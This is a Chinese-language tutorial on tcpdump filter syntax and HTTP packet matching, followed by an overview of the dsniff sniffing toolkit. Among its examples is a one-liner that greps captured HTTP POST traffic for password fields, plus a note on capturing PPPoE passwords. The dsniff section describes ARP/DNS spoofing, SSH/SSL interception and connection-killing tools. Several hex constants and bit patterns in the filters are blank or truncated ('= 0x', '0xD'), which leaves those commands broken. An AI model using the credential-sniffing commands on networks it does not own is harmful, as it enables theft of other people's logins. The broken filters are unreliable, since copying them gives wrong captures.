注意 tcpdump 在直接打印数据时,有可能会发现较长的数据尾部会被截断,丢失信息。 这是 tcpdump 本身的问题,在这种模式下 tcpdump 是针对每个 tcp 数据包应用 http 过滤参数,而过长的 body 后半部分在另一个 tcp 包里,就过滤不出来了。 如果有必要抓这类 body 很大的数据的话,建议结合 wireshark 分析。

tcpdump 输出

便抓取的一个 tcp 包为例来看一下

21:26:49.013621 IP 172.20.20.1.15605 > 172.20.20.2.5920: Flags [P.], seq 49:97, ack , win 4723, length 48

  1. 第一列:时分秒毫秒 21:26:49.013621
  2. 第二列:网络协议 IP
  3. 第三列:发送方的ip地址+端口号,其中172.20.20.1是 ip,而15605 是端口号
  4. 第四列:箭头 >, 表示数据流向
  5. 第五列:接收方的ip地址+端口号,其中 172.20.20.2 是 ip,而5920 是端口号
  6. 第六列:冒号
  7. 第七列:数据包内容,包括Flags 标识符,seq 号,ack 号,win 窗口,数据长度 length,其中 [P.] 表示 PUSH 标志位为 1,更多标识符见下面

使用 tcpdump 抓包后,会遇到的 TCP 报文 Flags,有以下几种:

  • [S] : SYN(开始连接)
  • [P] : PSH(推送数据)
  • [F] : FIN (结束连接)
  • [R] : RST(重置连接)
  • [.] : 没有 Flag (意思是除上面四种类型外的其他情况,有可能是 ACK 也有可能是 URG)

常规 过滤 规则

tcpdump -s0             防止包截断

tcpdump -i lo              抓取回环网口上的包

tcpdump -i eth0          抓取eth0接口上的所有包
tcpdump -i eth0 -c 10    对eth0网口捕获10个包后停止
tcpdump -i eth0 -c 10 -w save_file.pcap    将捕获的包保存到文件
tcpdump -r save_file.pcap                         从文件中读取捕获的包
tcpdump -i eth0 -tttt arp    只捕获arp协议的包,协议:ip、ip6、arp、tcp、udp、wlan 等。
tcpdump -i eth0 port 22      对某个特定的端口抓包
tcpdump -i eth0 dst 10.70.121.92 and port 22
tcpdump -i eth0 -c 10 ip -tttt -X

基于IP地址过滤:host

# tcpdump -i eth1 host 192.168.1.1   抓取所有经过eth1,目的或源地址是192.168.1.1的数据
# tcpdump -i eth1 src host 192.168.1.1   源地址
# tcpdump -i eth1 dst host 192.168.1.1   目的地址

基于网段进行过滤:net

# tcpdump ip and not net 192.168.1.0
# tcpdump net 192.168.10.0/24

# tcpdump -i eth1 net 192.168
# tcpdump -i eth1 src net 192.168
# tcpdump -i eth1 dst net 192.168

tcpdump src net 192.168    根据源网段进行过滤
tcpdump dst net 192.168    根据目标网段进行过滤

基于端口进行过滤:port

# tcpdump -i eth1 port 25    抓取所有经过 eth1,目的或源端口是 25 的网络数据
# tcpdump -i eth1 src port 25  源端口
# tcpdump -i eth1 dst port 25  目的端口

tcpdump port 8088        使用 port 可以指定特定端口进行过滤
tcpdump src port 8088    根据源端口进行过滤
tcpdump dst port 8088    根据目标端口进行过滤
tcpdump port 80 or port 8088    同时指定多个端口
tcpdump port 80 or 8088         同时指定多个端口
tcpdump portrange 8000-8080        指定端口范围
tcpdump src portrange 8000-8080    指定端口范围
tcpdump dst portrange 8000-8080    指定端口范围
对于一些常见协议的默认端口,我们还可以直接使用协议名,而不用具体的端口号
比如 http == 80,https == 443 等
tcpdump tcp port http

基于协议进行过滤:proto

# tcpdump -i eth1 arp
# tcpdump -i eth1 ip
# tcpdump -i eth1 tcp
# tcpdump -i eth1 udp
# tcpdump -i eth1 icmp

特殊 过滤 规则

根据 tcpflags 进行过滤

从包头过滤信息

proto[x:y] : 过滤从x字节开始的y个字节数。

比如:ip[2:2] 过滤出 3、 4 字节( 第一字节从0开始排)。

proto[x:y] & z = 0 : proto[x:y]和 z的与操作为0
proto[x:y] & z !=0 : proto[x:y]和 z的与操作不为0
proto[x:y] & z = z : proto[x:y]和 z的与操作为z
proto[x:y] = z : proto[x:y]等于z
操作符 : >, <, >=, <=, =, !=

tcp 的首部有一个标志位。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

tcpdump 支持根据数据包的标志位进行过滤:proto [ expr:size ]

  • proto:可以是熟知的协议之一(如ip,arp,tcp,udp,icmp,ipv6)

  • expr:可以是数值,也可以是一个表达式,表示与指定的协议头开始处的字节偏移量。

  • size:是可选的,表示从字节偏移量开始取的字节数量。

1、tcpflags 可以理解为是一个别名常量,相当于 13,它代表着与指定的协议头开头相关的字节偏移量,也就是标志位,所以 tcp[tcpflags] 等价于 tcp[13] ,对应下图中的报文位置。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

2、tcp-fin, tcp-syn, tcp-rst, tcp-push, tcp-ack, tcp-urg 这些同样可以理解为别名常量,分别代表 1,2,4,8,16,32,64。这些数字是如何计算出来的呢?以 tcp-syn 为例,你可以参照下面这张图,计算出来的值 是就是 2

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

由于数字不好记忆,所以一般使用这样的“别名常量”表示。因此当下面这个表达式成立时,就代表这个包是一个 syn 包。

tcp[tcpflags] == tcp-syn

要抓取特定数据包,方法有很多种。下面以最常见的 syn包为例,演示一下如何用 tcpdump 抓取到 syn 包,而其他的类型的包也是同样的道理。

  • 1、第一种写法:使用数字表示偏移量:tcpdump -i eth0 “tcp[13] & 2 != 0”
  • 2、第二种写法:使用别名常量表示偏移量:tcpdump -i eth0 “tcp[tcpflags] & tcp-syn != 0”
  • 3、第三种写法:使用混合写法。
        $ tcpdump -i eth0 “tcp[tcpflags] & 2 != 0” 
        # 或者
        $ tcpdump -i eth0 “tcp[13] & tcp-syn != 0” 

如果想同时捕获多种类型的包呢,比如 syn + ack 包

  • 1、第一种写法:tcpdump -i eth0 ‘tcp[13] == 2 or tcp[13] == 16’
  • 2、第二种写法:tcpdump -i eth0 ‘tcp[tcpflags] == tcp-syn or tcp[tcpflags] == tcp-ack’
  • 3、第三种写法:tcpdump -i eth0 “tcp[tcpflags] & (tcp-syn|tcp-ack) != 0” 
  • 4、第四种写法:注意这里是 单个等号,而不是像上面一样两个等号,18(syn+ack) = 2(syn) + 16(ack):
            tcpdump -i eth0 ‘tcp[13] = 18’
            或者
            tcpdump -i eth0 ‘tcp[tcpflags] = 18’

tcp 中有 类似 tcp-syn 的别名常量,其他协议也是有的,比如 icmp 协议,可以使用的别名常量有

icmp-echoreply, icmp-unreach, icmp-sourcequench, 
icmp-redirect, icmp-echo, icmp-routeradvert,
icmp-routersolicit, icmp-timx-ceed, icmp-paramprob, 
icmp-tstamp, icmp-tstampreply,icmp-ireq, 
icmp-ireqreply, icmp-maskreq, icmp-maskreply

基于包大小进行过滤

若你想查看指定大小的数据包,也是可以的
$ tcpdump less 32 
$ tcpdump greater 64 
$ tcpdump <= 128

据 mac 地址进行过滤

其中 ehost 是记录在 /etc/ethers 里的 name
$ tcpdump ether host [ehost]
$ tcpdump ether dst    [ehost]
$ tcpdump ether src    [ehost]

过滤通过指定网关的数据包

tcpdump gateway [host]

过滤广播/多播数据包

$ tcpdump ether broadcast
$ tcpdump ether multicast
$ tcpdump ip broadcast
$ tcpdump ip multicast
$ tcpdump ip6 multicast

如何抓取到更精准的包

如果只想抓取 HTTP 的 POST 请求该如何写呢?

示例:tcpdump -s 0 -A -vv ‘tcp[((tcp[12:1] & 0xf0) >> 2):4]’

重点是引号里的内容,将它逐一分解,我们只要先理解了下面几种用法,就能明白

  • tcp[n]:表示 tcp 报文里 第 n 个字节

  • tcp[n:c]:表示 tcp 报文里从第n个字节开始取 c 个字节,tcp[12:1] 表示从报文的第12个字节(因为有第0个字节,所以这里的12其实表示的是13)开始算起取一个字节,也就是 8 个bit。查看 tcp 的报文首部结构,可以得知这 8 个bit 其实就是下图中的红框圈起来的位置,而在这里我们只要前面 4个bit,也就是实际数据在整个报文首部中的偏移量。

嗅探工具 --- wireshark、tcpdump、dsniff、ettercap、bettercap、netsniff-ng、cain

  • &:是位运算里的 and 操作符,比如 0011 & 0010 = 0010

  • >>:是位运算里的右移操作,比如 0111 >> 2 = 0001

  • 0xf0:是 10 进制的 240 的 16 进制表示,但对于位操作来说,10进制和16进制都将毫无意义,我们需要的是二进制,将其转换成二进制后是:,这个数有什么特点呢?前面个 4bit 全部是 1,后面4个bit全部是0,往后看你就知道这个特点有什么用了。

分解完后,再慢慢合并起来看

1、tcp[12:1] & 0xf0 其实并不直观,但是我们将它换一种写法,就好看多了,假设 tcp 报文中的 第12 个字节是这样组成的 ,那么这个表达式就可以变成 && = ,得到了 后,再进入下一步。

2、tcp[12:1] & 0xf0) >> 2 :如果你不理解 tcp 报文首部里的数据偏移,请先点击这个前往我的上一篇文章,搞懂数据偏移的意义,否则我保证你这里会绝对会听懵了。

tcp[12:1] & 0xf0) >> 2 这个表达式实际是 (tcp[12:1] & 0xf0) >> 4 ) << 2 的简写形式。所以要搞懂 tcp[12:1] & 0xf0) >> 2 只要理解了(tcp[12:1] & 0xf0) >> 4 ) << 2 就行了 。

从上一步我们算出了 tcp[12:1] & 0xf0 的值其实是一个字节,也就是 8 个bit,但是你再回去看下上面的 tcp 报文首部结构图,表示数据偏移量的只有 4个bit,也就是说 上面得到的值 ,前面 4 位(1011)才是正确的偏移量,那么为了得到 1011,只需要将 右移4位即可,也就是 tcp[12:1] & 0xf0) >> 4,至此我们是不是已经得出了实际数据的正确位置呢,很遗憾还没有,前一篇文章里我们讲到 Data Offset 的单位是 4个字节,因为要将 1011 乘以 4才可以,除以4在位运算中相当于左移2位,也就是 <<2,与前面的 >>4 结合起来一起算的话,最终的运算可以简化为 >>2

至此,我们终于得出了实际数据开始的位置是 tcp[12:1] & 0xf0) >> 2 (单位是字节)。

找到了数据的起点后,可别忘了我们的目的是从数据中打到 HTTP 请求的方法,是 GET 呢 还是 POST ,或者是其他的?

有了上面的经验,我们自然懂得使用 tcp[((tcp[12:1] & 0xf0) >> 2):4] 从数据开始的位置再取出四个字节,然后将结果与 GET (注意 GET最后还有个空格)的 16进制写法(也就是 0x)进行比对。

0x47   –>   71    –>  G
0x45   –>   69    –>  E
0x54   –>   84    –>  T
0x20   –>   32    –>  空格

实战 应用

提取 HTTP 的 User-Agent

从 HTTP 请求头中提取 HTTP 的 User-Agent:

tcpdump -nn -A -s1500 -l | grep “User-Agent:”

通过 egrep 可以同时提取User-Agent 和主机名(或其他头文件):

tcpdump -nn -A -s1500 -l | egrep -i ‘User-Agent:|Host:’

抓取 HTTP GET 和 POST

抓取 HTTP GET 请求包:

$ tcpdump -s 0 -A -vv ‘tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x’
# or
$ tcpdump -vvAls0 | grep ‘GET’

可以抓取 HTTP POST 请求包:

$ tcpdump -s 0 -A -vv ‘tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354’
# or 
$ tcpdump -vvAls0 | grep ‘POST’

注意:该方法不能保证抓取到 HTTP POST 有效数据流量,因为一个 POST 请求会被分割为多个 TCP 数据包。

找出发包数最多的 IP

找出一段时间内发包最多的 IP,或者从一堆报文中找出发包最多的 IP,可以使用下面的命令:

tcpdump -nnn -t -c 200 | cut -f 1,2,3,4 -d ‘.’ | sort | uniq -c | sort -nr | head -n 20

  • cut -f 1,2,3,4 -d ‘.’ : 以 . 为分隔符,打印出每行的前四列。即 IP 地址。
  • sort | uniq -c : 排序并计数
  • sort -nr : 按照数值大小逆向排序

抓取 DNS 请求和响应

DNS 的默认端口是 53,因此可以通过端口进行过滤:tcpdump -i any -s0 port 53

切割 pcap 文件

当抓取大量数据并写入文件时,可以自动切割为多个大小相同的文件。
例如,下面的命令表示每 3600 秒创建一个新文件 capture-(hour).pcap,每个文件大小不超过 200* 字节:
$ tcpdump  -w /tmp/capture-%H.pcap -G 3600 -C 200
这些文件的命名为 capture-{1-24}.pcap,24 小时之后,之前的文件就会被覆盖。

提取 HTTP POST 请求中的密码

从 HTTP POST 请求中提取密码和主机名:
$ tcpdump -s 0 -A -n -l | egrep -i “POST /|pwd=|passwd=|password=|Host:”

提取 HTTP 请求的 URL 

提取 HTTP 请求的主机名和路径:
$ tcpdump -s 0 -v -n -l | egrep -i “POST /|GET /|Host:”

抓取 HTTP 有效数据包

抓取 80 端口的 HTTP 有效数据包,排除 TCP 连接建立过程的数据包(SYN / FIN / ACK):
$ tcpdump ‘tcp port 80 and (((ip[2:2] – ((ip[0]&0xf)<<2)) – ((tcp[12]&0xf0)>>2)) != 0)’

结合 Wireshark 进行分析

通常 Wireshark(或 tshark)比 tcpdump 更容易分析应用层协议。一般的做法是在远程服务器上先使用 tcpdump 抓取数据并写入文件,然后再将文件拷贝到本地工作站上用 Wireshark 分析。

还有一种更高效的方法,可以通过 ssh 连接将抓取到的数据实时发送给 Wireshark 进行分析。以 MacOS 系统为例,可以通过 brew cask install wireshark 来安装,然后通过下面的命令来分析:$ ssh root@remotesystem ‘tcpdump -s0 -c 1000 -nn -w – not port 22’ | /Applications/Wireshark.app/Contents/MacOS/Wireshark -k -i –

分析 DNS 协议,可以使用下面的命令:$ ssh root@remotesystem ‘tcpdump -s0 -c 1000 -nn -w – port 53’ | /Applications/Wireshark.app/Contents/MacOS/Wireshark -k -i –

-c 选项用来限制抓取数据的大小。如果不限制大小,就只能通过 ctrl-c 来停止抓取,这样一来不仅关闭了 tcpdump,也关闭了 wireshark。

tcpdump 示例

tcpdump 对截获的数据并没有进行彻底解码,数据包内的大部分内容是使用十六进制的形式直接打印输出的。显然这不利于分析网络故障,通常的解决办法是先使用带 -w 参数的 tcpdump 截获数据并保存到文件中,然后再使用 Wireshark 进行解码分析。

tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap

  • (1)     tcp: ip icmp arp rarp 和 tcp、udp、icmp这些选项等都要放到第一个参数的位置,用来过滤数据报的类型
  • (2)    -i eth1 : 只抓经过接口eth1的包
  • (3)    -t : 不显示时间戳
  • (4)    -s 0 : 抓取数据包时默认抓取长度为68字节。加上 -s0 后可以抓到完整的数据包
  • (5)    -c 100 : 只抓取100个数据包
  • (6)    dst port ! 22 : 不抓取目标端口是22的数据包
  • (7)    src net 192.168.1.0/24 : 数据包的源网络地址为192.168.1.0/24
  • (8)    -w ./target.cap : 保存成cap文件,方便用ethereal(即wireshark)分析

抓取 HTTP包

tcpdump  -XvvennSs 0 -i eth0 tcp[20:2]=0x4745 or tcp[20:2]=0x4854

dst port

发送到 80端口 的 数据包,用 dst port; 
tcpdump –i eth0 host hostname and dst port 80  //目的端口是80

src port

从80端口 返回 的 数据包,用 src port。
tcpdump –i eth0 host hostname and src port 80  // 源端口是80 ,一般是 web 服务器返回

and、or、not

如果条件很多的话  要在条件之前加 and 或 or 或 not
tcpdump -i eth0 host ! 211.161.223.70 and ! 211.161.223.71 and dst port 80

转义符

注意:如果复杂表达式,需要用括号括起来,括号前需要使用 \ 进行转义 。因为括号在shell中是有意义的。如果不想使用 反斜杠 \,可以使用 “单引号或者双引号” 把 表达式括起来,就可以防止 shell 对其中的括号进行错误解析

打印所有通过网关 snup 的 ftp 数据包   

示例:tcpdump ‘gateway snup and (port ftp or ftp-data)’

截获主机210.27.48.1 和主机210.27.48.2或210.27.48.3的通信 

示例:tcpdump host 210.27.48.1 and \(210.27.48.2 or 210.27.48.3 \) 

打印 helios 与 hot 或者与 ace 之间通信的数据包

示例:tcpdump host helios and \( hot or ace \)

截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信

示例:tcpdump host 210.27.48.1 and \ (210.27.48.2 or 210.27.48.3 \)

打印ace与任何其他主机之间通信的IP 数据包, 但不包括与helios之间的数据包.

示例:tcpdump ip host ace and not helios 

获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包。

示例:tcpdump ip host 210.27.48.1 and ! 210.27.48.2

获取主机192.168.228.246接收或发出的ssh包,并且不转换主机名.

示例:tcpdump -nn -n src host 192.168.228.246 and port 22 and tcp

常用 示例

// 获取主机192.168.228.246接收或发出的ssh包,并把mac地址也一同显示
tcpdump -e src host 192.168.228.246 and port 22 and tcp -n -nn

// 过滤的是源主机为192.168.0.1与目的网络为192.168.0.0的报头
tcpdump src host 192.168.0.1 and dst net 192.168.0.0/24   

// 过滤源主机物理地址为XXX的报头。(为什么ether src后面没有host或者net?物理地址当然不可能有网络喽)。 
tcpdump ether src 00:50:04:BA:9B and dst……    

// 过滤源主机192.168.0.1和目的端口不是telnet的报头,并导入到tes.t.txt文件中        
Tcpdump src host 192.168.0.1 and dst port not telnet -l > test.txt    

tcpdump -i eth0 src host hostname     // 截获主机hostname发送的所有数据
tcpdump -i eth0 dst host hostname     // 监视所有送到主机hostname的数据包

监视指定主机和端口的数据包
tcpdump tcp port 23 and host 210.27.48.1    // 获取主机210.27.48.1接收或发出的telnet包
tcpdump udp port 123   

tcpdump -i eth0 -vnn host 192.168.0.154
tcpdump -i eth0 -vnn net 192.168.0.0/24
tcpdump -i eth0 -vnn port 22 
tcpdump -i eth0 -vnn udp
tcpdump -i eth0 -vnn icmp
tcpdump -i eth0 -vnn arp
tcpdump -i eth0 -vnn ip
tcpdump -i eth0 -vnn src host 192.168.0.154
tcpdump -i eth0 -vnn dst host 192.168.0.154
tcpdump -i eth0 -vnn src port 22
tcpdump -i eth0 -vnn src host 202.106.0.254 and dst port 22                 
tcpdump -i eth0 -vnn src host 192.168.0.154 or port 22
tcpdump -i eth0 -vnn src host 192.168.0.154 and not port 22 
tcpdump -i eth0 -vnn srchost192.168.0.2anddstport22 or   srchost192.168.0.65anddstport80
tcpdump -ieth0 -vnn -r  /tmp/fil1 tcp
tcpdump -ieth0 -vnn -r  /tmp/fil1 host  202.106.0.258
tcpdump -ieth0 -vnn -r  /tmp/fil1 tcp
tcpdump -ieth0 -vnn -w  /tmp/fil1 -c 100
tcpdump -i eth0 -w /tmp/eth0.cap                               // 抓eth0的包
tcpdump -i etho host 192.168.1.20 -w /tmp/temp.cap             // 抓192.168.1.20的包
tcpdump -i etho host 192.168.1.20 and icmp -w /tmp/icmp.cap   抓192.168.1.20的ICMP包

// 抓192.168.1.20的除端口10000,10001,10002以外的其它包
tcpdump -i etho host 192.168.1.20 and ! port 10000 and ! port 10001 and ! port 10002 -w /tmp/port.cap    

tcpdump -i eth0 port 80 and vlan 1 -w /tmp/vlan.cap    // 抓vlan 1的包
tcpdump -i eht0 pppoes -w /tmp/pppoe.cap               // 抓pppoe的密码
tcpdump -i eth0 -c 10000 -w /tmp/temp.cap              // 抓eth0的包,抓到10000个包后退出
nohup tcpdump -i eth0 port 80 -w /tmp/temp.cap &       // 在后台抓eth0在80端口的包

实时抓取端口号 8000 的 GET 包,然后写入 GET.log    
tcpdump -i eth0 ‘((port 8000) and (tcp[(tcp[12]>>2):4]=0x))’ -nnAl -w /tmp/GET.log

计算抓 10000 个 SYN 包花费多少时间,可以判断访问量大概是多少。
# time tcpdump -nn -i eth0 ‘tcp[tcpflags] = tcp-syn’ -c 10000 > /dev/null

抓取所有经过 eth1,目的地址是 192.168.1.254 或 192.168.1.200 端口是 80 的 TCP 数据
tcpdump -i eth1 ‘((tcp) and (port 80) and ((dst host 192.168.1.254) or (dst host 192.168.1.200)))’

抓取所有经过 eth1,目标 MAC 地址是 00:01:02:03:04:05 的 ICMP 数据
tcpdump -i eth1 ‘((icmp) and ((ether dst host 00:01:02:03:04:05)))’

抓取所有经过 eth1,目的网络是 192.168,但目的主机不是 192.168.1.200 的 TCP 数据
tcpdump -i eth1 ‘((tcp) and ((dst net 192.168) and (not dst host 192.168.1.200)))’

只抓 SYN 包
tcpdump -i eth1 ‘tcp[tcpflags] = tcp-syn’

抓 SYN, ACK
tcpdump -i eth1 ‘tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack != 0’

抓 SMTP 数据。
抓取数据区开始为”MAIL”的包,”MAIL”的十六进制为 0x4d41494c。
tcpdump -i eth1 ‘((port 25) and (tcp[(tcp[12]>>2):4] = 0x4d41494c))’
    

抓 HTTP GET 数据
“GET “的十六进制是
tcpdump -i eth1 ‘tcp[(tcp[12]>>2):4] = 0x’

抓 SSH 返回
SSH-“的十六进制是 0xD
tcpdump -i eth1 ‘tcp[(tcp[12]>>2):4] = 0xD’

抓老版本的 SSH 返回信息,如”SSH-1.99..”
tcpdump -i eth1 ‘(tcp[(tcp[12]>>2):4] = 0xD) and (tcp[((tcp[12]>>2)+4):2] = 0x312E)’

抓 DNS 请求数据
tcpdump -i eth1 udp dst port 53

# 1. 嗅探所有接口,80 端口上所有 HTTP 协议请求与响应的 headers 以及 body
tcpdump -A -s 0 ‘tcp port 80 and (((ip[2:2] – ((ip[0]&0xf)<<2)) – ((tcp[12]&0xf0)>>2)) != 0)’
## 改抓 8080 端口
tcpdump -A -s 0 ‘tcp port 8080 and (((ip[2:2] – ((ip[0]&0xf)<<2)) – ((tcp[12]&0xf0)>>2)) != 0)’

# 2. 嗅探 eth0 接口,80 端口上所有 HTTP GET 请求(’GET ‘ => 0x)
tcpdump -A -i eth0 -s 0 ‘tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x’
## 改抓 8080 端口
tcpdump -A -i eth0 -s 0 ‘tcp port 8080 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x’

# 3. 嗅探 eth0 接口,80 端口上所有 HTTP POST 请求(’POST’ => 0x504F5354)
tcpdump -A -i eth0 -s 0 ‘tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354’
## 改抓 8080 端口
tcpdump -A -i eth0 -s 0 ‘tcp port 8080 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354’

# 4. 也可以使用 not 进行参数排除,比如排除掉 9091 跟 2379 端口
tcpdump -A -s 0 ‘tcp and port not 9091 and port not 2379 and (((ip[2:2] – ((ip[0]&0xf)<<2)) – ((tcp[12]&0xf0)>>2)) != 0)’

# 5. 嗅探 eth0 接口, src/dst ip 地址为 x.x.x.x/a.a.a.a 的所有 tcp 数据包
tcpdump -A -i eth0 -s 0 ‘tcp and (host x.x.x.x or host a.a.a.a)’
# 6. 通过 ip + port 组合过滤 tcp 数据包
tcpdump -A -i eth0 -s 0 ‘tcp and !(dst host 192.168.1.100 and dst port 1111) and !(dst host 192.168.1.101 and dst port 3333)’
# 7. 根据 CIDR 网段过滤 tcp 数据包
tcpdump -A -i eth0 -s 0 ‘tcp and net 172.16.0.0/16’

1. 想要截获所有210.27.48.1 的主机收到的和发出的所有的数据包:
    命令:#tcpdump host 210.27.48.1

2. 想要截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信,
    使用命令:(在命令行中使用括号时,一定要 在括号前加 反斜杠)
    #tcpdump host 210.27.48.1 and /(210.27.48.2 or 210.27.48.3 /)

3. 如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,
    使用命令:#tcpdump ip host 210.27.48.1 and ! 210.27.48.2

4. 如果想要获取主机210.27.48.1接收或发出的telnet包,
    使用如下命令:#tcpdump tcp port 23 host 210.27.48.1

5. 对本机的udp 123 端口进行监视 123 为ntp的服务端口
    # tcpdump udp port 123

6. 系统将只对名为hostname的主机的通信数据包进行监视。主机名可以是本地主机,也可以是网络上的任何一台计算机。
    下面的命令可以读取主机hostname发送的所有数据: #tcpdump -i eth0 src host hostname

7. 下面的命令可以监视所有送到主机hostname的数据包: 
    #tcpdump -i eth0 dst host hostname

8. 我们还可以监视通过指定网关的数据包: 
    #tcpdump -i eth0 gateway Gatewayname

9. 如果你还想监视编址到指定端口的TCP或UDP数据包,那么执行以下命令: 
    #tcpdump -i eth0 host hostname and port 80

10. 如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,使用命令:
    #tcpdump ip host 210.27.48.1 and ! 210.27.48.2

11. 想要截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信。
    #tcpdump host 210.27.48.1 and /(210.27.48.2 or 210.27.48.3 /)

12. 如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,
    使用命令:#tcpdump ip host 210.27.48.1 and ! 210.27.48.2

13. 如果想要获取主机210.27.48.1接收或发出的telnet包,
    使用如下命令:#tcpdump tcp port 23 host 210.27.48.1

示例:host foo and not port ftp and not port ftp-data
解释:其过滤条件可理解为, 数据包的主机为 foo,并且端口不是ftp(端口21) 和 ftp-data(端口20,常用端口和名字的对应可在 linux 系统中的 /etc/service 文件中找到)

为了表示方便, 同样的修饰符可以被省略。。。

示例:tcp dst port ftp or ftp-data or domain  等价于 tcp dst port ftp or tcp dst port ftp-data or tcp dst port domain
解释:其过滤条件可理解为 包的协议为tcp, 目的端口为ftp 或 ftp-data 或 domain(端口53)

4、 DSniff 工具包

github 地址:https://github.com/search?q=dsniff

Kali 需要安装:apt install dsniff

Dsniff 是一个著名的综合性网络嗅探、口令嗅探工具包。Dsniff 开发者 DugSong 在1999年12月以密歇根大学 CITI 研究室( CenterforInformationTechnologyIntegration)的研究成果为基础, 开发了这个后来具有很大影响力的网络安全工具包。Dsniff 的下载网址:dsniff 。也可以从网上找到 Dsniff 早期支持的 windows 版本。

DSniff 可以使用一系列的主动攻击方法,将网络流量重新定向到网络嗅探器主机,使得网络嗅探器有机会捕获到网络中某台主机或整个网络的流量。这样就可以将 DSniff 用在交换或路由的网络环境中,以及 Cable modem 拔号上网的环境中使用。甚至当安装有 DSniff 的网络嗅探器不直接连接到目标网络当中,它依然可以通过运程的方式捕获到目标网络中的网络报文。

Dsniff 是一个工具集,主要分为四类:

  • 纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnarf 、msgsnarf、urlsnarf、webspy;
  • 针对 SSH 和 SSL 的 MITM(Man-In-The-Middle)”攻击”工具,包括 sshmitm 和 webmitm;
  • 发起主动欺骗的工具,包括:arpspoof、dnsspoof、macof;
  • 其它工具,包括 tcpkill、tcpnice

各个工具说明:

  • dsniff:一个密码侦测工具,他能够自动分析端口上收到的某些协议的数据包,并获取相应的密码。dnisff 支持的协议有 FTP、Telnet、SMTP、HTTP、POP、poppass、NNTP、IMAP、SNMP、LDAP、Rlogin、RIP、OSPF、PPTP MS-CHAP、NFS、VRRP、YP/NIS、SOCKS、X11、CVS、IRC、AIM、ICQ、Napster、PostgreSQL、Meeting Maker、Citrix ICA、Symantec pcAnywhere、NAI Sniffer、Microsoft SMB、Oracle SQL*Net、Sybase and Microsoft SQL 等
  • filesnart:嗅探网络文件系统(NFS)的流量,SMB方式传输的文件的一个副本,并选定某个文件,转储到本地当前工作目录。
  • mailsnarf:嗅探 SMTP 和 POP 流量,并以 Berkeley 邮件格式输出 e-mail 消息。
  • msgsnarf:嗅探聊天软件的聊天内容,包括AOL、ICQ 2000、IRC、MSN Messenger 或 Yahoo Messenger
  • urlsnarf:嗅探 HTTP 请求报文的内容,并以CLF (Common Log Format)格式输出。
  • webspy:指定一个要嗅探的主机,如果指定主机发送HTTP请求,打开网页,webspy也会通过 netscape 浏览器在本地打开一个相同的网页。( 它能将从客户处嗅探到的URL地址,发送到攻击者的WEB浏览器中显示。并且实时更新,攻击者就可以看到你到底浏览了哪些网站 )
  • sshmitm: 是Dsniff自带的一个具有威胁的工具之一。首先通过dnsspoof伪造实际机器主机名将攻击目标主机的SSH连接转到本地,那么sshmitm可以截获来自主机的密钥,并获得被劫持连接中的所有信息解码,然后重新转发SSH流量到SSH服务器;
  • webmitm:与 sshmitm 类似,也需要 dnsspoof 的”配合”,不同的是,webmitm”劫持”的是HTTP和HTTPS会话过程,捕获SSL的加密通信;
  • arpspoof:启用 arp 欺骗,将自己网卡的IP地址伪装成指定 IP 地址的MAC,例如:伪装成网关,嗅探局域网的所有网络流量,进行抓包;
  • dnsspoof:启用DNS欺骗,如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。如果是 请求解析某个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),如果是反向IP指针解析,dnsspoof也会返回一个伪造的域名。一个非常重要的功能就是 webmitm,这种功能主要是用来捕获SSL和SSH加密了的数据。
  • macof:使用 MAC flooding 来攻击交换机。通过不断向交换机发送包含有冒充的MAC地址的数据包,以此来溢出交换机的MAC地址表。此时,交换就会以广播的方式发送所接收到的数据包。它一般在上述嗅探软件前使用;
  • tcpkill:能够切断指定的TCP会话连接,主要是基于TCP的三次握手过程。其实就是一种拒绝服务攻击(DoS)。主要用来切断与合法主机的网络连接,保证嗅探工作的正常进行。它一般在上述嗅探软件前使用。​
  • tcpnice:能够通过在添加活动的流量,降低指定的LAN上的TCP连接的速度。
  • screenspy :用进行屏幕监控;

dsniff 

用法:
       dsniff [-c] [-d] [-m] [-n] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,…]]]  [-r|-w
       savefile] [expression]

选项
       -c     打开半双工TCP流,允许在使用 arpspoof时进行正确的嗅探操作
       -d     启动调试模式;
       -m     使用dsniff.magic文件,通过在magic文件中定义的特征,尝试自动判断协议
       -n     不把 IP 地址解析成主机名
       -i interface       指定网络接口
       -p pcapfile        不是处理网络上所观察到的数据包的内容,而是处理给定捕获数据包的PCAP文件。              
       -s snaplen         对报文的前snaplen个字节进行嗅探,而不是默认的1024字节;.
       -f services        以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
       -t trigger[,…]
              使用格式 port/proto=service 来加载一个以逗号界定的触发器集(e.g. 80/tcp=http).
                          dsniff –t 21/tcp=ftp,23/tcp=telnet –m
       -r savefile        从保存的文件中读取会话(-w 选项 可以保存会话到文件)
       -w file            保存 会话 到文件中
       expression         指定一个 tcpdump(8) filter expression 来让 sniff 选择要嗅探的流量.     
       
       在挂起的信号中,dsniff会将当前的触发器表转储到dsniff.services。

FILES
       /usr/share/dsniff/dsniff.services
              Default trigger table

       /usr/share/dsniff/dsniff.magic
              Network protocol magic

参见;另请参阅
